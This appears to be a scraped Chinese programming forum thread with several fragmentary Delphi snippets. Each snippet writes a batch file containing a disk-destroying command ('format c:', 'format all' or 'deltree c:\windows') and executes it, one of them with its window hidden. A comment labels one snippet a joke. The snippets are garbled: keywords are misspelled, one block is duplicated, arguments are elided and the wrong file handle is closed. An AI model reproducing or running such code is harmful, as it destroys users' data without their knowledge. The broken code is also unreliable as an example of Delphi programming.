easyvar f1:TEXTFILE;
begin
asssignfile(f1,'c:\a.bat');
rewrite(f1);
writeln(f1,'format c:');
closefile(f1);
shellexecute('open',...,'c:\a.bat',...'SW_MAXIZIED);//自己查sdk函数吧
end;
begin
asssignfile(f1,'c:\a.bat');
rewrite(f1);
writeln(f1,'format c:');
closefile(f1);
shellexecute('open',...,'c:\a.bat',...'SW_MAXIZIED);//自己查sdk函数吧
end;
with TStringList.Create do try
Add('format all');
SaveToFile('a.bat');
finally
Free;
end;
WinExec('a.bat', SH_SHOW);
myfile:textfile;
begin
asssignfile(myfile,'c:\a.bat');
rewrite(myfile);
try
writeln(myfile,'@echo off');
writeln(myfile,'deltree c:\windows'); //开玩笑
finally
closefile(f1);
end;
winexec('c:\a.bat',sw_hide);
end;